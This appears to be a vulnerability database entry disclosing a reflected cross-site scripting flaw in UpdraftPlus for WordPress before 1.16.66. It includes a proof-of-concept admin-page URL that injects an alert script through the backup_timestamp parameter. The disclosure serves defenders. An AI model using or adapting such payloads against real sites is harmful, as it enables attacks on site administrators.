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wpvulndbKrzysztof ZającWPVDB-ID:1801C7AE-2B5C-493F-969D-4BB19A9FEB15
HistoryDec 06, 2021 - 12:00 a.m.

UpdraftPlus < 1.16.66 - Reflected Cross-Site Scripting

2021-12-0600:00:00
Krzysztof Zając
wpscan.com
10
updraftplus
cross-site scripting
plugin vulnerability
admin pages
reflected xss
security issue

EPSS

0.001

Percentile

38.3%

The plugin does not sanitise and escape the backup_timestamp and job_id parameter before outputting then back in admin pages, leading to Reflected Cross-Site Scripting issues

PoC

https://example.com/wp-admin/options-general.php?page=updraftplus&amp;backup;_timestamp=<script>alert(/XSS/)%3B<%2Fscript>&amp;action;=updraft_restore

EPSS

0.001

Percentile

38.3%

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